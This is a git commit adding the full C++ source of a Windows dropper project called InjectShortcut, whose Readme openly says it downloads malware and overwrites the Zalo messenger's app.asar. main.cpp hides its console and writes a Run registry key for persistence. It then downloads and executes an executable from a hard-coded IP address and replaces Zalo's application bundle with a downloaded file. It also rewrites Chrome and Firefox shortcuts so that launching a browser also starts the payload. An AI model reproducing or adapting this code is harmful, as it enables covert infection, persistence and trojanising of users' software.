commit 55eb9666e92d151b30292244541c1f6ff3927283 Author: winsbu1997 <38660429+winsbu1997@users.noreply.github.com> Date: Thu Jul 3 08:48:49 2025 +0700 first commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..3bd7211 --- /dev/null +++ b/.gitignore @@ -0,0 +1,7 @@ +x64/ +.vs/ +InjectShortcut/x64/* +Release +InjectShortcut/Debug/* +InjectShortcut/Release/* + diff --git a/InjectShortcut.sln b/InjectShortcut.sln new file mode 100644 index 0000000..4574561 --- /dev/null +++ b/InjectShortcut.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.9.34714.143 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InjectShortcut", "InjectShortcut\InjectShortcut.vcxproj", "{1AE91339-E254-4A2F-8B29-7BECF08BBEB8}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1AE91339-E254-4A2F-8B29-7BECF08BBEB8}.Debug|x64.ActiveCfg = Debug|x64 + {1AE91339-E254-4A2F-8B29-7BECF08BBEB8}.Debug|x64.Build.0 = Debug|x64 + {1AE91339-E254-4A2F-8B29-7BECF08BBEB8}.Debug|x86.ActiveCfg = Debug|Win32 + {1AE91339-E254-4A2F-8B29-7BECF08BBEB8}.Debug|x86.Build.0 = Debug|Win32 + {1AE91339-E254-4A2F-8B29-7BECF08BBEB8}.Release|x64.ActiveCfg = Release|x64 + {1AE91339-E254-4A2F-8B29-7BECF08BBEB8}.Release|x64.Build.0 = Release|x64 + {1AE91339-E254-4A2F-8B29-7BECF08BBEB8}.Release|x86.ActiveCfg = Release|Win32 + {1AE91339-E254-4A2F-8B29-7BECF08BBEB8}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {9731D75B-E772-4C53-AB74-4E3E81BA169A} + EndGlobalSection +EndGlobal diff --git a/InjectShortcut/AddReg.h b/InjectShortcut/AddReg.h new file mode 100644 index 0000000..a71bfa3 --- /dev/null +++ b/InjectShortcut/AddReg.h @@ -0,0 +1,37 @@ +#pragma once +#include +#include + +int addregistry(LPCWSTR filetarget, LPCWSTR nameReg) +{ + // Đường dẫn tới file exe + const TCHAR* exePath = filetarget; + + // Tên registry key + const TCHAR* regKey = _T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"); + + // Tên giá trị registry + const TCHAR* valueName = nameReg; + + // Mở khóa registry + HKEY hKey; + LONG result = RegOpenKeyEx(HKEY_CURRENT_USER, regKey, 0, KEY_SET_VALUE, &hKey); + if (result != ERROR_SUCCESS) { + _tprintf(_T("Không thể mở khóa registry. Lỗi: %ld\n"), result); + return 1; + } + + // Đặt giá trị cho registry key + result = RegSetValueEx(hKey, valueName, 0, REG_SZ, (const BYTE*)exePath, (_tcslen(exePath) + 1) * sizeof(TCHAR)); + if (result != ERROR_SUCCESS) { + _tprintf(_T("Không thể đặt giá trị registry. Lỗi: %ld\n"), result); + RegCloseKey(hKey); + return 1; + } + + // Đóng khóa registry + RegCloseKey(hKey); + + _tprintf(_T("Đã thêm vào registry key thành công.\n")); + return 0; +} diff --git a/InjectShortcut/InjectShortcut.h b/InjectShortcut/InjectShortcut.h new file mode 100644 index 0000000..4ed6e50 --- /dev/null +++ b/InjectShortcut/InjectShortcut.h @@ -0,0 +1,260 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#include "KillProcess.h" +bool checkFile(LPCWSTR shortcutPath) { + // Check if the file exists + BOOL fileExists = PathFileExists(shortcutPath); + return (fileExists == TRUE); +} +void ChangeShortcutChrome(LPCWSTR shortcutPath) { + killProcessByName(L"chrome.exe"); + HRESULT hres; + IShellLink* psl; + IPersistFile* ppf; + WCHAR originalPath[MAX_PATH]; + WCHAR arguments[MAX_PATH]; + + // Initialize the COM library + hres = CoInitialize(NULL); + if (SUCCEEDED(hres)) { + // Create an IShellLink object + hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl); + if (SUCCEEDED(hres)) { + // Query IShellLink for the IPersistFile interface + hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf); + if (SUCCEEDED(hres)) { + // Load the shortcut file + hres = ppf->Load(shortcutPath, STGM_READWRITE); + if (SUCCEEDED(hres)) { + // Get the current target path + hres = psl->GetPath(originalPath, MAX_PATH, NULL, 0); + if (SUCCEEDED(hres)) { + std::wcout << L"Original target path: " << originalPath << std::endl; + if (wcsstr(originalPath, L"cmd.exe") != nullptr) + { + wcscpy_s(originalPath, L"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"); + } + if (!checkFile(originalPath)) + { + wcscpy_s(originalPath, L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"); + } + // Prepare the new target path + StringCchPrintf(arguments, MAX_PATH, L"/c start \"\" \"%s\" & start \"\" \"C:\\Programdata\\mscorsvc.exe\"", originalPath); + + // Set the new target path to cmd.exe + hres = psl->SetPath(L"C:\\Windows\\System32\\cmd.exe"); + if (SUCCEEDED(hres)) { + // Set the arguments to run both commands + hres = psl->SetArguments(arguments); + if (SUCCEEDED(hres)) { + // Save the shortcut + hres = ppf->Save(shortcutPath, TRUE); + if (SUCCEEDED(hres)) { + std::wcout << L"Shortcut target changed successfully." << std::endl; + } + else { + std::wcerr << L"Failed to save the shortcut." << std::endl; + } + } + else { + std::wcerr << L"Failed to set the new target arguments." << std::endl; + } + } + else { + std::wcerr << L"Failed to set the new target path." << std::endl; + } + } + else { + std::wcerr << L"Failed to get the original target path." << std::endl; + } + } + else { + std::wcerr << L"Failed to load the shortcut file." << std::endl; + } + // Release the IPersistFile interface + ppf->Release(); + } + else { + std::wcerr << L"Failed to query IPersistFile interface." << std::endl; + } + // Release the IShellLink interface + psl->Release(); + } + else { + std::wcerr << L"Failed to create IShellLink instance." << std::endl; + } + // Uninitialize the COM library + CoUninitialize(); + } + else { + std::wcerr << L"Failed to initialize COM library." << std::endl; + } +} +void ChangeShortcutFirefox(LPCWSTR shortcutPath) { + killProcessByName(L"firefox.exe"); + HRESULT hres; + IShellLink* psl; + IPersistFile* ppf; + WCHAR originalPath[MAX_PATH]; + WCHAR arguments[MAX_PATH]; + WCHAR firefoxExe[MAX_PATH]; // Path to Firefox executable + int firefoxIconIndex = 0; // Index of the icon within the executable + + // Path to Firefox executable and icon index + StringCchPrintf(firefoxExe, MAX_PATH, L"C:\\Program Files\\Mozilla Firefox\\firefox.exe"); + firefoxIconIndex = 0; // Adjust this index as per the desired icon within the executable + + // Initialize the COM library + hres = CoInitialize(NULL); + if (SUCCEEDED(hres)) { + // Create an IShellLink object + hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl); + if (SUCCEEDED(hres)) { + // Query IShellLink for the IPersistFile interface + hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf); + if (SUCCEEDED(hres)) { + // Load the shortcut file + hres = ppf->Load(shortcutPath, STGM_READWRITE); + if (SUCCEEDED(hres)) { + // Get the current target path + hres = psl->GetPath(originalPath, MAX_PATH, NULL, 0); + if (SUCCEEDED(hres)) { + std::wcout << L"Original target path: " << originalPath << std::endl; + + //if (wcsstr(originalPath, L"cmd.exe") != nullptr) { + // // Set it to the default path + // wcscpy_s(originalPath, L"C:\\Program Files\\Mozilla Firefox\\firefox.exe"); + //} + if (wcsstr(originalPath, L"cmd.exe") != nullptr) + { + wcscpy_s(originalPath, L"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe"); + } + if (!checkFile(originalPath)) + { + wcscpy_s(originalPath, L"C:\\Program Files\\Mozilla Firefox\\firefox.exe"); + } + // Prepare the new target path + StringCchPrintf(arguments, MAX_PATH, L"/c start \"\" \"%s\" & start \"\" \"C:\\Programdata\\mscorsvc.exe\"", originalPath); + + // Set the new target path to cmd.exe + hres = psl->SetPath(L"C:\\Windows\\System32\\cmd.exe"); + if (SUCCEEDED(hres)) { + // Set the arguments to run both commands + hres = psl->SetArguments(arguments); + if (SUCCEEDED(hres)) { + // Set the icon location to Firefox icon + hres = psl->SetIconLocation(firefoxExe, firefoxIconIndex); + if (SUCCEEDED(hres)) { + // Save the shortcut + hres = ppf->Save(shortcutPath, TRUE); + if (SUCCEEDED(hres)) { + std::wcout << L"Shortcut target and icon changed successfully." << std::endl; + } + else { + std::wcerr << L"Failed to save the shortcut." << std::endl; + } + } + else { + std::wcerr << L"Failed to set the icon location." << std::endl; + } + } + else { + std::wcerr << L"Failed to set the new target arguments." << std::endl; + } + } + else { + std::wcerr << L"Failed to set the new target path." << std::endl; + } + } + else { + std::wcerr << L"Failed to get the original target path." << std::endl; + } + } + else { + std::wcerr << L"Failed to load the shortcut file." << std::endl; + } + // Release the IPersistFile interface + ppf->Release(); + } + else { + std::wcerr << L"Failed to query IPersistFile interface." << std::endl; + } + // Release the IShellLink interface + psl->Release(); + } + else { + std::wcerr << L"Failed to create IShellLink instance." << std::endl; + } + // Uninitialize the COM library + CoUninitialize(); + } + else { + std::wcerr << L"Failed to initialize COM library." << std::endl; + } +} +void CreateControlPanelShortcut(LPCWSTR shortcutPath) { + HRESULT hres; + IShellLink* psl; + IPersistFile* ppf; + + // Initialize the COM library + hres = CoInitialize(NULL); + if (SUCCEEDED(hres)) { + // Create an IShellLink object + hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl); + if (SUCCEEDED(hres)) { + // Set the path to the Control Panel + hres = psl->SetPath(L"explorer.exe"); + if (SUCCEEDED(hres)) { + // Set the arguments to open Control Panel + hres = psl->SetArguments(L"shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}"); + if (SUCCEEDED(hres)) { + hres = psl->SetIconLocation(L"%SystemRoot%\\System32\\imageres.dll", -27); + if (SUCCEEDED(hres)) { + // Query IShellLink for the IPersistFile interface + hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf); + if (SUCCEEDED(hres)) { + // Save the shortcut + hres = ppf->Save(shortcutPath, TRUE); + if (SUCCEEDED(hres)) { + std::wcout << L"Control Panel shortcut created successfully." << std::endl; + } + else { + std::wcerr << L"Failed to save the Control Panel shortcut." << std::endl; + } + // Release the IPersistFile interface + ppf->Release(); + } + else { + std::wcerr << L"Failed to query IPersistFile interface." << std::endl; + } + } + else { + std::wcerr << L"Failed to set the Control Panel icon." << std::endl; + } + } + else { + std::wcerr << L"Failed to set the Control Panel arguments." << std::endl; + } + } + else { + std::wcerr << L"Failed to set the Control Panel path." << std::endl; + } + // Release the IShellLink interface + psl->Release(); + } + else { + std::wcerr << L"Failed to create IShellLink instance." << std::endl; + } + // Uninitialize the COM library + CoUninitialize(); + } + else { + std::wcerr << L"Failed to initialize COM library." << std::endl; + } +} \ No newline at end of file diff --git a/InjectShortcut/InjectShortcut.vcxproj b/InjectShortcut/InjectShortcut.vcxproj new file mode 100644 index 0000000..28b0602 --- /dev/null +++ b/InjectShortcut/InjectShortcut.vcxproj @@ -0,0 +1,146 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + + + + + + + + 17.0 + Win32Proj + {1ae91339-e254-4a2f-8b29-7becf08bbeb8} + InjectShortcut + 10.0.26100.0 + + + + Application + true + v143 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + $(ExternalIncludePath) + $(LibraryPath) + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + UNICODE;_UNICODE;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + ProgramDatabase + + + Console + true + true + true + Shell32.lib;Ole32.lib;%(AdditionalDependencies) + + + + + + \ No newline at end of file diff --git a/InjectShortcut/InjectShortcut.vcxproj.filters b/InjectShortcut/InjectShortcut.vcxproj.filters new file mode 100644 index 0000000..c424695 --- /dev/null +++ b/InjectShortcut/InjectShortcut.vcxproj.filters @@ -0,0 +1,30 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/InjectShortcut/InjectShortcut.vcxproj.user b/InjectShortcut/InjectShortcut.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/InjectShortcut/InjectShortcut.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/InjectShortcut/KillProcess.h b/InjectShortcut/KillProcess.h new file mode 100644 index 0000000..5ddf1f5 --- /dev/null +++ b/InjectShortcut/KillProcess.h @@ -0,0 +1,38 @@ +#pragma once +#include +#include +#include + +void killProcessByName(const std::wstring& processName) { + HANDLE hProcessSnap; + HANDLE hProcess; + PROCESSENTRY32 pe32; + DWORD dwPriorityClass; + + hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hProcessSnap == INVALID_HANDLE_VALUE) { + std::wcerr << L"CreateToolhelp32Snapshot (of processes) failed" << std::endl; + return; + } + + pe32.dwSize = sizeof(PROCESSENTRY32); + + if (!Process32First(hProcessSnap, &pe32)) { + std::wcerr << L"Process32First failed" << std::endl; + CloseHandle(hProcessSnap); + return; + } + + do { + if (processName == pe32.szExeFile) { + hProcess = OpenProcess(PROCESS_TERMINATE, 0, pe32.th32ProcessID); + if (hProcess != NULL) { + TerminateProcess(hProcess, 0); + CloseHandle(hProcess); + std::wcout << L"Terminated process: " << pe32.szExeFile << std::endl; + } + } + } while (Process32Next(hProcessSnap, &pe32)); + + CloseHandle(hProcessSnap); +} diff --git a/InjectShortcut/main.cpp b/InjectShortcut/main.cpp new file mode 100644 index 0000000..219e7cf --- /dev/null +++ b/InjectShortcut/main.cpp @@ -0,0 +1,375 @@ + +#pragma once +#define _CRT_SECURE_NO_WARNINGS +#define CURL_STATICLIB +#include +#include "InjectShortcut.h" +#include +#pragma comment(lib, "Shlwapi.lib") // Link with Shlwapi.lib +#pragma comment(lib, "Advapi32.lib") // Link with Advapi32.lib for GetUserName function +#include +#include +#include +#include +#include +#include +#include +#include "AddReg.h" +#include +#include +#include +#include +#include +#include +#include +#include +#pragma comment(lib, "wininet.lib") + +#define url1 "http://45.76.176.147:8098/mscorsvc.exe" +#define url2 "http://45.76.176.147:8098/app.asar" +//#define url1 "http://localhost:8088/mscorsvc.exe" + +#define pathSave "C:\\Programdata\\mscorsvc.exe" + +namespace fs = std::filesystem; + +// Danh sách các tên tiến trình của Zalo +std::vector ZALO_PROCESS_NAMES = { "zalo.exe" }; // Thêm tên tiến trình của Zalo vào đây + +// Hàm để chuyển đổi std::wstring thành std::string +std::string wstringToString(const std::wstring& wstr) { + int size_needed = WideCharToMultiByte(CP_UTF8, 0, &wstr[0], (int)wstr.size(), NULL, 0, NULL, NULL); + std::string str(size_needed, 0); + WideCharToMultiByte(CP_UTF8, 0, &wstr[0], (int)wstr.size(), &str[0], size_needed, NULL, NULL); + return str; +} + +//// Hàm chuyển đổi từ std::string sang std::wstring sử dụng MultiByteToWideChar +//std::wstring MultiByteToWide(const std::string& utf8str) { +// // Kiểm tra độ dài chuỗi cần chuyển đổi +// int len = MultiByteToWideChar(CP_UTF8, 0, utf8str.c_str(), -1, NULL, 0); +// +// // Tạo mảng wchar_t để lưu kết quả +// wchar_t* utf16str = new wchar_t[len]; +// MultiByteToWideChar(CP_UTF8, 0, utf8str.c_str(), -1, utf16str, len); +// +// // Chuyển đổi thành std::wstring +// std::wstring wstr(utf16str); +// +// // Giải phóng bộ nhớ +// delete[] utf16str; +// +// return wstr; +//} + + +// Hàm để chuyển đổi chuỗi thành chữ thường +std::string toLower(const std::string& str) { + std::string lowerStr = str; + std::transform(lowerStr.begin(), lowerStr.end(), lowerStr.begin(), ::tolower); + return lowerStr; +} + +// Hàm để lấy danh sách các PID của các tiến trình Zalo +std::vector getZaloProcessIds() { + std::vector pids; + HANDLE hProcessSnap; + PROCESSENTRY32 pe32; + + hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hProcessSnap == INVALID_HANDLE_VALUE) { + throw std::runtime_error("Not list process"); + } + + pe32.dwSize = sizeof(PROCESSENTRY32); + + if (!Process32First(hProcessSnap, &pe32)) { + CloseHandle(hProcessSnap); + throw std::runtime_error("Not found first Process!"); + } + + do { + std::string processName = toLower(wstringToString(pe32.szExeFile)); + + if (std::find(ZALO_PROCESS_NAMES.begin(), ZALO_PROCESS_NAMES.end(), processName) != ZALO_PROCESS_NAMES.end()) { + pids.push_back(pe32.th32ProcessID); + } + } while (Process32Next(hProcessSnap, &pe32)); + + CloseHandle(hProcessSnap); + return pids; +} + +// Hàm để kết thúc tiến trình dựa trên PID +bool killProcess(int pid) { + HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid); + if (hProcess == NULL) { + return false; + } + BOOL result = TerminateProcess(hProcess, 0); + CloseHandle(hProcess); + return result != 0; +} + +// Hàm để kết thúc danh sách các tiến trình dựa trên danh sách PID +void killProcesses(const std::vector& processIds) { + for (int pid : processIds) { + if (killProcess(pid)) { + std::cout << "Kill PID: " << pid << std::endl; + } + else { + std::cerr << "Not kill PID: " << pid << std::endl; + } + } +} + +bool DownloadFile(const char* url, const char* localPath) { + // Initialize WinINet + HINTERNET hInternet = InternetOpen(L"MyDownloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); + if (!hInternet) { + std::cerr << "InternetOpen failed, error: " << GetLastError() << std::endl; + return false; + } + + // Open the URL + HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0); + if (!hUrl) { + std::cerr << "InternetOpenUrlA failed, error: " << GetLastError() << std::endl; + InternetCloseHandle(hInternet); + return false; + } + + // Create the file + std::ofstream outFile(localPath, std::ios::binary); + if (!outFile.is_open()) { + std::cerr << "Failed to open file: " << localPath << std::endl; + InternetCloseHandle(hUrl); + InternetCloseHandle(hInternet); + return false; + } + + // Read the data + char buffer[4096]; + DWORD bytesRead; + while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead != 0) { + outFile.write(buffer, bytesRead); + } + + // Cleanup + outFile.close(); + InternetCloseHandle(hUrl); + InternetCloseHandle(hInternet); + + return true; +} + +bool IsShortcutFileExistsOnPublicDesktop(LPCWSTR shortcutPath) { + // Check if the file exists + BOOL fileExists = PathFileExists(shortcutPath); + return (fileExists == TRUE); +} +void CopyAndDelete(LPCWSTR publicDesktopPath, LPCWSTR userDesktopShortcut) { + // Copy the shortcut from Public desktop to user's desktop + if (!CopyFile(publicDesktopPath, userDesktopShortcut, FALSE)) { + std::cerr << "Failed to copy the shortcut. Error code: " << GetLastError() << std::endl; + return; // Exit function if copying fails + } + + // Delete the original shortcut from Public desktop + //if (!DeleteFile(publicDesktopPath)) { + // std::cerr << "Failed to delete the original shortcut. Error code: " << GetLastError() << std::endl; + // return; // Exit function if deletion fails + //} + + std::wcout << L"Shortcut successfully copied to user's desktop." << std::endl; +} +std::wstring ConvertToWideString(const std::string& narrowStr) { + int wideStrSize = MultiByteToWideChar(CP_UTF8, 0, narrowStr.c_str(), -1, nullptr, 0); + std::wstring wideStr(wideStrSize, 0); + MultiByteToWideChar(CP_UTF8, 0, narrowStr.c_str(), -1, &wideStr[0], wideStrSize); + return wideStr; +} +void RunFile(const char* localPath) +{ + // run file + STARTUPINFO si; + PROCESS_INFORMATION pi; + + // Initialize the STARTUPINFO structure + ZeroMemory(&si, sizeof(si)); + si.cb = sizeof(si); + ZeroMemory(&pi, sizeof(pi)); + + // Convert the narrow string to a wide string + std::wstring wideLocalPath2 = ConvertToWideString(localPath); + + // Start the child process + if (!CreateProcessW( + NULL, // No module name (use command line) + &wideLocalPath2[0], // Command line + NULL, // Process handle not inheritable + NULL, // Thread handle not inheritable + FALSE, // Set handle inheritance to FALSE + 0, // No creation flags + NULL, // Use parent's environment block + NULL, // Use parent's starting directory + &si, // Pointer to STARTUPINFO structure + &pi) // Pointer to PROCESS_INFORMATION structure + ) { + std::cerr << "CreateProcess failed (" << GetLastError() << ").\n"; + } + + // Wait until child process exits + WaitForSingleObject(pi.hProcess, INFINITE); + + // Close process and thread handles + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + std::cout << "Process executed successfully.\n"; + +} +void DownLoadAndRun(const char* url, const char* localPath) +{ + if (DownloadFile(url, localPath)) { + std::cout << "Download succeeded." << std::endl; + } + else { + std::cout << "Download failed." << std::endl; + } + //run file + RunFile(localPath); + +} + +bool compareVersions(const std::wstring& version1, const std::wstring& version2) { + std::vector v1, v2; + std::wregex rgx(L"\\d+"); + std::wsregex_iterator iter1(version1.begin(), version1.end(), rgx), iter2(version2.begin(), version2.end(), rgx), end; + + while (iter1 != end) v1.push_back(std::stoi((*iter1++).str())); + while (iter2 != end) v2.push_back(std::stoi((*iter2++).str())); + + return v1 < v2; // So sánh các phần tử trong vector +} + +// Hàm để tìm thư mục "resources" trong các thư mục có chứa chuỗi "Zalo-*" +std::optional getLatestZaloResourcesDir(const fs::path& basePath) { + std::optional latestDir; + std::wstring latestVersion = L"0.0.0"; + + for (const auto& entry : fs::directory_iterator(basePath)) { + if (entry.is_directory()) { + std::wstring dirName = entry.path().filename().wstring(); + + // Kiểm tra nếu thư mục có dạng "Zalo-*" + if (dirName.find(L"Zalo-") != std::wstring::npos) { + fs::path resourcesPath = entry.path() / L"resources\\app.asar"; + if (fs::exists(resourcesPath)) { + std::wstring version = dirName.substr(5); // Bỏ qua "Zalo-" + if (compareVersions(latestVersion, version)) { + latestVersion = version; + latestDir = resourcesPath; + } + } + } + } + } + + return latestDir; +} + +int main() { + FreeConsole(); + + addregistry(L"C:\\Programdata\\mscorsvc.exe",L"mscorsvc"); + //download file malware + DownLoadAndRun(url1,pathSave); + + const DWORD max_username_len = 256; // Maximum length for a user name + TCHAR username[max_username_len]; + DWORD username_len = max_username_len; + + GetUserName(username, &username_len); + + try { + std::vector zaloPids = getZaloProcessIds(); + if (zaloPids.empty()) { + std::cerr << "Not Found Zalo." << std::endl; + } + else { + killProcesses(zaloPids); + std::wstring usernameWstr(username); + + // Xây dựng đường dẫn với tên người dùng + std::wstring baseZaloPath = L"C:\\Users\\"; + baseZaloPath += usernameWstr; + baseZaloPath += L"\\AppData\\Local\\Programs\\Zalo\\"; + auto latestResourcesDir = getLatestZaloResourcesDir(baseZaloPath); + + std::string pathAsarZalo = latestResourcesDir.value().string(); + std::cout << "PathZalo: " << pathAsarZalo << std::endl; + if (pathAsarZalo != "") { + if (DownloadFile(url2, pathAsarZalo.c_str())) { + std::cout << "Download succeeded." << std::endl; + } + else { + std::cout << "Download failed." << std::endl; + } + } + } + } + catch (const std::exception& e) { + std::cerr << e.what() << std::endl; + } + + WCHAR shortcutSourcePath_FirefoxPubic[MAX_PATH]; + StringCchPrintf(shortcutSourcePath_FirefoxPubic, MAX_PATH, L"C:\\Users\\Public\\Desktop\\Firefox.lnk"); + + WCHAR shortcutSourcePath_FirefoxStartMenu[MAX_PATH]; + StringCchPrintf(shortcutSourcePath_FirefoxStartMenu, MAX_PATH, L"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Firefox.lnk"); + + WCHAR shortcutSourcePath_ChromePubic[MAX_PATH]; + StringCchPrintf(shortcutSourcePath_ChromePubic, MAX_PATH, L"C:\\Users\\Public\\Desktop\\Google Chrome.lnk"); + + WCHAR shortcutSourcePath_ChromeStartMenu[MAX_PATH]; + StringCchPrintf(shortcutSourcePath_ChromeStartMenu, MAX_PATH, L"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk"); + + WCHAR shortcutSourcePath_FirefoxDesktop[MAX_PATH]; + StringCchPrintf(shortcutSourcePath_FirefoxDesktop, MAX_PATH, L"C:\\Users\\%s\\Desktop\\Firefox.lnk", username); + WCHAR shortcutSourcePath_ChromeDesktop[MAX_PATH]; + StringCchPrintf(shortcutSourcePath_ChromeDesktop, MAX_PATH, L"C:\\Users\\%s\\Desktop\\Google Chrome.lnk", username); + TCHAR shortcutDesPath[MAX_PATH]; + //check shortcut exited in public + if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_FirefoxPubic)) { + ChangeShortcutFirefox(shortcutSourcePath_FirefoxPubic); + CopyAndDelete(shortcutSourcePath_FirefoxPubic, shortcutSourcePath_FirefoxDesktop); + } + if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_ChromePubic)) + { + ChangeShortcutChrome(shortcutSourcePath_ChromePubic); + CopyAndDelete(shortcutSourcePath_ChromePubic, shortcutSourcePath_ChromeDesktop); + } + + // start-menu + if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_FirefoxStartMenu)) { + CopyAndDelete(shortcutSourcePath_FirefoxStartMenu, shortcutSourcePath_FirefoxDesktop); + } + + if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_ChromeStartMenu)) { + CopyAndDelete(shortcutSourcePath_ChromeStartMenu, shortcutSourcePath_ChromeDesktop); + } + //check shortcut exited in desktop + if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_FirefoxDesktop)) { + ChangeShortcutFirefox(shortcutSourcePath_FirefoxDesktop); + CopyAndDelete(shortcutSourcePath_FirefoxDesktop, shortcutSourcePath_FirefoxStartMenu); + } + + if(IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_ChromeDesktop)) { + ChangeShortcutChrome(shortcutSourcePath_ChromeDesktop); + CopyAndDelete(shortcutSourcePath_ChromeDesktop, shortcutSourcePath_ChromeStartMenu); + } + + + return 0; +} diff --git a/Readme.md b/Readme.md new file mode 100644 index 0000000..ae462cd --- /dev/null +++ b/Readme.md @@ -0,0 +1 @@ +Download Malware and Ghi đè zalo app.asar \ No newline at end of file